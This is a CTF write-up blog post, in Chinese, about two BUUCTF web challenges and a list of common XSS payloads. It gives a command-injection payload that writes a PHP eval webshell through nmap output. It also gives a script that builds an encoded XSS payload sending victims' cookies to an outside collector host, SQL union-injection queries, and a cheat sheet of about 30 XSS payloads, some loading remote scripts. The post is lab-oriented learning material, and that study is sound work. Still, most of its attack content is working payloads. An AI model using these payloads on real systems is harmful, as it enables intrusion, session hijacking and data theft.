RCE,XSS

PHP RCE

记录一道关于PHP函数漏洞利用的题目

[题目在这里](https://buuoj.cn/challenges#[BUUCTF 2018]Online Tool)

创建实例显示源代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

payload:

1
?host=' <?php eval($_POST["hack"]);?> -oG hack.php '

这个payload的意思是上传一句话木马的同时,将 nmap 的扫描结果保存为 hack.php 文件以免蚁剑连接时返回内容为空。 最后蚁剑连接,在根目录下找到flag

在这道题目中其他需要注意的是关于转义符的理解:

上面提到escapeshellarg()函数会将 单引号进行利用或转义,然后再在两边加上引号引起来。 其转义的方式就是在前面加上一个\。同样的,escapeshellcmd()也会在对特殊符号进行转义,即在其前面加上
其目的是让程序认为单引号仅仅作为符号存在,而不作为指令的一部分。

例如: 如果传入

1
It's a dog.

就可能导致多余的’使得程序报错。 而使用转义符之后:

1
2
It\'s a dog.
#等于 "It's a dog." 

这时会作为一个完整的字符串进行后续操作。

记一道没有做出来的XSS攻击题目

上一周在做题时了解到利用Cooike可以进行XSS攻击,这周就遇到一道XSS,具体是利用XSS通过更改Cooike获取管理员权限来得到flag

题目在这里 [CISCN2019 华东北赛区 Web2 1](https://buuoj.cn/challenges#[CISCN2019 华东北赛区]Web2)

一开始打开发现是一个非常正常的文章汇总页面,一时间以为走错地方了()

然后探索发现存在注册以及登录的功能。注册个admin,注册成功,说明这里似乎对用户名没有限制。

发现存在上传文章和反馈两个功能,翻看WP得知,这里的上传文章功能存在XSS漏洞,可以在这里上传XSS攻击代码,然后通过上传反馈得到管理员的SESSID,进行SQL注入后得到flag

我们得知这里存在一个admin.php,访问提示不是管理员无法查看(果然)

于是我们尝试进行XSS攻击。发现这里还存在WAF,会将’’(‘’转义成”(”

使用这个脚本

1
2
3
4
5
6
7
8
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

生成payload后提交,得到url后进反馈

输入得到的url(题目提示要把靶机域名改为web)接下来解决验证码问题,题目中给出substr(md5($str), 0, 6) === “cfde39”: 这是一个MD5弱比较,使用下面这个脚本来生成验证码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import hashlib
import random
import string

target = "cfde39"

while True:
    # 生成一个随机字符串 (4 个字符)
    s = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    hash_value = hashlib.md5(s.encode()).hexdigest()[:6]
    if hash_value == target:
        print(f"Found: {s}")
        break

由于题目中提供的xss.buuoj.cn已经停止服务了,所以我们还要自己搭建一个用于接收反馈的平台

项目地址:XSS数据接收平台(无SQL版)

使用小皮面板来搭建这个平台,可惜的是搭建好后我的模板都神奇地消失了,一开始以为是Windows Defender的问题(虽然确实),但关掉之后还是没有js模板,导致平台一直没法用,只能止步于此了。

如果顺利的话,可以截取到管理员的SESSID,从而成功登录到admin.php,然后用

1
2
3
4
5
6
7
8
9
-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#

SQL联合查询得到flag

这里记录一些常见的XSS攻击代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
plaintext
(1)普通的XSS JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert('XSS')>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert('XSS')>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷IMG标签

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

<IMG SRC="jav ascript:alert('XSS');">

(12)嵌入式编码标签,将Javascript分开

<IMG SRC="jav ascript:alert('XSS');">

(13)嵌入式换行符

<IMG SRC="jav ascript:alert('XSS');">

(14)嵌入式回车

<IMG SRC="jav ascript:alert('XSS');">

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC="javascript:alert('XSS')">

(16)解决限制字符(要求同页面)

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

(19)Spaces和meta前的IMG标签

<IMG SRC=" javascript:alert('XSS');">

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(23)双开括号

<<SCRIPT>alert("XSS");//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS

<IMG SRC="javascript:alert('XSS')"

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

\";alert('XSS');//

(30)结束Title标签

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

更多XSS攻击代码

顺便贴上几篇参考的WP

WP1

WP2

WP3

WP4

WP5

XSS数据接收平台配置教程

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计